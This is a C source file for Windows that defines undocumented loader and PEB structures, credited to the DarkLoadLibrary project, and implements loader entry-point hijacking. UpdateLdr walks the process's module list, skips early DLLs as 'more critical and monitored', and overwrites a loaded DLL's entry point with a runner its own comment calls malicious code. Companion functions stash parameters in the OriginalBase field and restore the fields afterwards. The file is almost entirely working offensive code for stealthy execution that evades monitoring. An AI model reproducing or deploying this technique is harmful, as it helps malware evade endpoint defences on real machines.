#include <windows.h>
#include <stdio.h>
#include "pdatat.h"

/*************************************************************************************************/
/* Many structures here have been taken from the struct definitions used by @_batsec_ in
/* his Darkloader Library:
/*
/* https://github.com/bats3c/DarkLoadLibrary
/* Credits to him for his amazing work diving into those undocumented structures.
/*************************************************************************************************/

typedef enum _LDR_DLL_LOAD_REASON
{
	LoadReasonStaticDependency,
	LoadReasonStaticForwarderDependency,
	LoadReasonDynamicForwarderDependency,
	LoadReasonDelayloadDependency,
	LoadReasonDynamicLoad,
	LoadReasonAsImageLoad,
	LoadReasonAsDataLoad,
	LoadReasonEnclavePrimary, // REDSTONE3
	LoadReasonEnclaveDependency,
	LoadReasonUnknown = -1
} LDR_DLL_LOAD_REASON, * PLDR_DLL_LOAD_REASON;

typedef enum _LDR_DDAG_STATE
{
	LdrModulesMerged = -5,
	LdrModulesInitError = -4,
	LdrModulesSnapError = -3,
	LdrModulesUnloaded = -2,
	LdrModulesUnloading = -1,
	LdrModulesPlaceHolder = 0,
	LdrModulesMapping = 1,
	LdrModulesMapped = 2,
	LdrModulesWaitingForDependencies = 3,
	LdrModulesSnapping = 4,
	LdrModulesSnapped = 5,
	LdrModulesCondensed = 6,
	LdrModulesReadyToInit = 7,
	LdrModulesInitializing = 8,
	LdrModulesReadyToRun = 9
} LDR_DDAG_STATE;

typedef struct _UNICODE_STR {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STR, * PUNICODE_STR;

typedef struct _PEB_LDR_DATA {
	DWORD dwLength;
	DWORD dwInitialized;
	LPVOID lpSsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB_FREE_BLOCK {
	struct _PEB_FREE_BLOCK* pNext;
	DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;

typedef struct __PEB {
	BYTE bInheritedAddressSpace;
	BYTE bReadImageFileExecOptions;
	BYTE bBeingDebugged;
	BYTE bSpareBool;
	LPVOID lpMutant;
	LPVOID lpImageBaseAddress;
	PPEB_LDR_DATA pLdr;
	LPVOID lpProcessParameters;
	LPVOID lpSubSystemData;
	LPVOID lpProcessHeap;
	PRTL_CRITICAL_SECTION pFastPebLock;
	LPVOID lpFastPebLockRoutine;
	LPVOID lpFastPebUnlockRoutine;
	DWORD dwEnvironmentUpdateCount;
	LPVOID lpKernelCallbackTable;
	DWORD dwSystemReserved;
	DWORD dwAtlThunkSListPtr32;
	PPEB_FREE_BLOCK pFreeList;
	DWORD dwTlsExpansionCounter;
	LPVOID lpTlsBitmap;
	DWORD dwTlsBitmapBits[2];
	LPVOID lpReadOnlySharedMemoryBase;
	LPVOID lpReadOnlySharedMemoryHeap;
	LPVOID lpReadOnlyStaticServerData;
	LPVOID lpAnsiCodePageData;
	LPVOID lpOemCodePageData;
	LPVOID lpUnicodeCaseTableData;
	DWORD dwNumberOfProcessors;
	DWORD dwNtGlobalFlag;
	LARGE_INTEGER liCriticalSectionTimeout;
	DWORD dwHeapSegmentReserve;
	DWORD dwHeapSegmentCommit;
	DWORD dwHeapDeCommitTotalFreeThreshold;
	DWORD dwHeapDeCommitFreeBlockThreshold;
	DWORD dwNumberOfHeaps;
	DWORD dwMaximumNumberOfHeaps;
	LPVOID lpProcessHeaps;
	LPVOID lpGdiSharedHandleTable;
	LPVOID lpProcessStarterHelper;
	DWORD dwGdiDCAttributeList;
	LPVOID lpLoaderLock;
	DWORD dwOSMajorVersion;
	DWORD dwOSMinorVersion;
	WORD wOSBuildNumber;
	WORD wOSCSDVersion;
	DWORD dwOSPlatformId;
	DWORD dwImageSubsystem;
	DWORD dwImageSubsystemMajorVersion;
	DWORD dwImageSubsystemMinorVersion;
	DWORD dwImageProcessAffinityMask;
	DWORD dwGdiHandleBuffer[34];
	LPVOID lpPostProcessInitRoutine;
	LPVOID lpTlsExpansionBitmap;
	DWORD dwTlsExpansionBitmapBits[32];
	DWORD dwSessionId;
	ULARGE_INTEGER liAppCompatFlags;
	ULARGE_INTEGER liAppCompatFlagsUser;
	LPVOID lppShimData;
	LPVOID lpAppCompatInfo;
	UNICODE_STR usCSDVersion;
	LPVOID lpActivationContextData;
	LPVOID lpProcessAssemblyStorageMap;
	LPVOID lpSystemDefaultActivationContextData;
	LPVOID lpSystemAssemblyStorageMap;
	DWORD dwMinimumStackCommit;
} PEB, * PPEB;

typedef struct _LDRP_CSLIST
{
	PSINGLE_LIST_ENTRY Tail;
} LDRP_CSLIST, * PLDRP_CSLIST;

typedef struct _LDR_SERVICE_TAG_RECORD
{
	struct _LDR_SERVICE_TAG_RECORD* Next;
	ULONG ServiceTag;
} LDR_SERVICE_TAG_RECORD, * PLDR_SERVICE_TAG_RECORD;

typedef struct _LDR_DDAG_NODE
{
	LIST_ENTRY Modules;
	PLDR_SERVICE_TAG_RECORD ServiceTagList;
	ULONG LoadCount;
	ULONG LoadWhileUnloadingCount;
	ULONG LowestLink;
	union
	{
		LDRP_CSLIST Dependencies;
		SINGLE_LIST_ENTRY RemovalLink;
	};
	LDRP_CSLIST IncomingDependencies;
	LDR_DDAG_STATE State;
	SINGLE_LIST_ENTRY CondenseLink;
	ULONG PreorderNumber;
} LDR_DDAG_NODE, * PLDR_DDAG_NODE;

typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
	_In_ PVOID DllHandle,
	_In_ ULONG Reason,
	_In_opt_ PVOID Context
	);

typedef struct _RTL_BALANCED_NODE
{
	union
	{
		struct _RTL_BALANCED_NODE* Children[2];
		struct
		{
			struct _RTL_BALANCED_NODE* Left;
			struct _RTL_BALANCED_NODE* Right;
		};
	};
	union
	{
		UCHAR Red : 1;
		UCHAR Balance : 2;
		ULONG_PTR ParentValue;
	};


} RTL_BALANCED_NODE, * PRTL_BALANCED_NODE;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY2
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	union
	{
		LIST_ENTRY InInitializationOrderLinks;
		LIST_ENTRY InProgressLinks;
	};
	PVOID DllBase;
	PLDR_INIT_ROUTINE EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	union
	{
		UCHAR FlagGroup[4];
		ULONG Flags;
		struct
		{
			ULONG PackagedBinary : 1;
			ULONG MarkedForRemoval : 1;
			ULONG ImageDll : 1;
			ULONG LoadNotificationsSent : 1;
			ULONG TelemetryEntryProcessed : 1;
			ULONG ProcessStaticImport : 1;
			ULONG InLegacyLists : 1;
			ULONG InIndexes : 1;
			ULONG ShimDll : 1;
			ULONG InExceptionTable : 1;
			ULONG ReservedFlags1 : 2;
			ULONG LoadInProgress : 1;
			ULONG LoadConfigProcessed : 1;
			ULONG EntryProcessed : 1;
			ULONG ProtectDelayLoad : 1;
			ULONG ReservedFlags3 : 2;
			ULONG DontCallForThreads : 1;
			ULONG ProcessAttachCalled : 1;
			ULONG ProcessAttachFailed : 1;
			ULONG CorDeferredValidate : 1;
			ULONG CorImage : 1;
			ULONG DontRelocate : 1;
			ULONG CorILOnly : 1;
			ULONG ChpeImage : 1;
			ULONG ReservedFlags5 : 2;
			ULONG Redirected : 1;
			ULONG ReservedFlags6 : 2;
			ULONG CompatDatabaseProcessed : 1;
		};
	};
	USHORT ObsoleteLoadCount;
	USHORT TlsIndex;
	LIST_ENTRY HashLinks;
	ULONG TimeDateStamp;
	struct _ACTIVATION_CONTEXT* EntryPointActivationContext;
	PVOID Lock; // RtlAcquireSRWLockExclusive
	PLDR_DDAG_NODE DdagNode;
	LIST_ENTRY NodeModuleLink;
	struct _LDRP_LOAD_CONTEXT* LoadContext;
	PVOID ParentDllBase;
	PVOID SwitchBackContext;
	RTL_BALANCED_NODE BaseAddressIndexNode;
	RTL_BALANCED_NODE MappingInfoIndexNode;
	ULONG_PTR OriginalBase;
	LARGE_INTEGER LoadTime;
	ULONG BaseNameHashValue;
	LDR_DLL_LOAD_REASON LoadReason;
	ULONG ImplicitPathOptions;
	ULONG ReferenceCount;
	ULONG DependentLoadFlags;
	UCHAR SigningLevel; // since REDSTONE2
} LDR_DATA_TABLE_ENTRY2, * PLDR_DATA_TABLE_ENTRY2;

// Update LDR structure with our malicious pointer
// First identify a suitable DLL module structure to overwrite
BOOL UpdateLdr(IN OUT PDATA_T pDataT) {
	//PEB
#ifdef _WIN64
	PPEB pPeb = (PPEB)(__readgsqword(0x60));
#elif _WIN32
	PPEB pPeb = (PPEB)(__readgsqword(0x30));
#endif
	PEB_LDR_DATA* pPebLdr = (PEB_LDR_DATA*)pPeb->pLdr;
	printf("\t[UpdateLdr] PEB located at\t0x%p\n", pPeb);
	printf("\t[UpdateLdr] PebLdr located at\t0x%p\n", pPebLdr);

	//First element of list:
	PLDR_DATA_TABLE_ENTRY2 pDte = (PLDR_DATA_TABLE_ENTRY2)((ULONG_PTR)pPebLdr->InMemoryOrderModuleList.Flink - 0x10);

	DWORD i = 0;
	while (pDte) {
		if (pDte->BaseDllName.Length != NULL) {
			// testing if this DLL is suitable. i>5 is to skip the first few DLLs as they are more critical and monitored.
			if (pDte->EntryPoint != NULL && pDte->DontCallForThreads == 0 && i > 5) {
				printf("\t\t[UpdateLdr][%d] - identified DLL at \t0x%p\n", GetCurrentThreadId(), (PVOID)pDte->DllBase);
				pDataT->bakEntryPoint = (ULONG_PTR)pDte->EntryPoint;
				pDte->EntryPoint = (PLDR_INIT_ROUTINE)pDataT->runner;		// malicious code to be executed
				pDataT->bakOriginalBase = pDte->OriginalBase;
				pDte->OriginalBase = (ULONG_PTR)pDataT;						// replace OriginalBase with our DATA_T structure
				printf("\t\t[UpdateLdr][%d] - backup entry point:\t0x%p\n", GetCurrentThreadId(), (PVOID)pDataT->bakEntryPoint);
				printf("\t\t[UpdateLdr][%d] - new entry point:\t0x%p\n", GetCurrentThreadId(), pDte->EntryPoint);
				printf("\t\t[UpdateLdr][%d] - pDte->OriginalBase:\t0x%p\n", GetCurrentThreadId(), (PVOID)pDte->OriginalBase);return TRUE;
				return TRUE;
			}
		}
		else {
			break;
		}
		i++;
		//travelling to next pDte:
		pDte = *(PLDR_DATA_TABLE_ENTRY2*)(pDte);
	}
	return FALSE;
}

// Restore LDR structure that we have overwritten
BOOL RestoreLdr(IN ULONG_PTR dllBase) {
	//PEB
#ifdef _WIN64
	PPEB pPeb = (PPEB)(__readgsqword(0x60));
#elif _WIN32
	PPEB pPeb = (PPEB)(__readgsqword(0x30));
#endif

	PDATA_T pDataT = NULL;
	PEB_LDR_DATA* pPebLdr = (PEB_LDR_DATA*)pPeb->pLdr;
	//First element of list:
	PLDR_DATA_TABLE_ENTRY2 pDte = (PLDR_DATA_TABLE_ENTRY2)((ULONG_PTR)pPebLdr->InMemoryOrderModuleList.Flink - 0x10);

	while (pDte) {
		if (pDte->BaseDllName.Length != NULL) {

			if (pDte->DllBase == (PVOID)dllBase) {
				pDataT = (PDATA_T)pDte->OriginalBase;

				// restore the two modified fields to their original values kept in PDATA_T struct
				pDte->EntryPoint = (PLDR_INIT_ROUTINE)pDataT->bakEntryPoint;
				pDte->OriginalBase = pDataT->bakOriginalBase;

				return TRUE;
			}
		}
		else {
			break;
		}

		//travelling to next pDte:
		pDte = *(PLDR_DATA_TABLE_ENTRY2*)(pDte);
	}
	return FALSE;
}

// Locate our DATA_T structure containing all params related to the
// API call we want to perform.
PDATA_T GetPdataT(IN HMODULE dllBase) {
	//PEB
#ifdef _WIN64
	PPEB pPeb = (PPEB)(__readgsqword(0x60));
#elif _WIN32
	PPEB pPeb = (PPEB)(__readgsqword(0x30));
#endif

	PEB_LDR_DATA* pPebLdr = (PEB_LDR_DATA*)pPeb->pLdr;
	//First element of list:
	PLDR_DATA_TABLE_ENTRY2 pDte = (PLDR_DATA_TABLE_ENTRY2)((ULONG_PTR)pPebLdr->InMemoryOrderModuleList.Flink - 0x10);

	while (pDte) {
		if (pDte->BaseDllName.Length != NULL) {

			if (pDte->DllBase == dllBase) {
				return (PDATA_T)pDte->OriginalBase;
			}
		}
		else {
			break;
		}

		//travelling to next pDte:
		pDte = *(PLDR_DATA_TABLE_ENTRY2*)(pDte);
	}
	return NULL;
}